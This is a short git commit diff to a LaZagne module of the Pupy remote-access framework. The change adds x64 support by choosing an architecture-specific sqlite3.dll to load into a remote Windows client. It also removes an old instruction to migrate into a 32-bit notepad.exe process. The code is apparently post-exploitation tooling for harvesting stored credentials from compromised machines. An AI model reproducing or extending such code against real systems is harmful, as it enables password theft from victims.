lazagne for windows x64 bits

This commit is contained in:
Alessandro ZANNI 2016-09-07 10:03:52 +02:00
parent e2911f7b05
commit ce9f1224b0
1 changed files with 4 additions and 3 deletions

View File

@ -25,11 +25,12 @@ class LaZagne(PupyModule):
platform=self.client.desc["platform"]
if "Windows" in platform:
if "64" in self.client.desc["proc_arch"]:
self.error('Not yet implemented for a x64 bits process, migrate to a 32 bits process and try again ! \nEx: run migrate -c \'C:\\Windows\\SysWOW64\\notepad.exe\'')
return
arch = "amd64"
else:
arch = "x86"
# load all dependency
self.client.load_dll(os.path.abspath(os.path.join(os.path.dirname(__file__),"..", "packages", "windows", "x86", "sqlite3.dll")))
self.client.load_dll(os.path.abspath(os.path.join(os.path.dirname(__file__),"..", "packages", "windows", arch, "sqlite3.dll")))
self.client.load_package("sqlite3")
self.client.load_package("_sqlite3")
self.client.load_package("xml")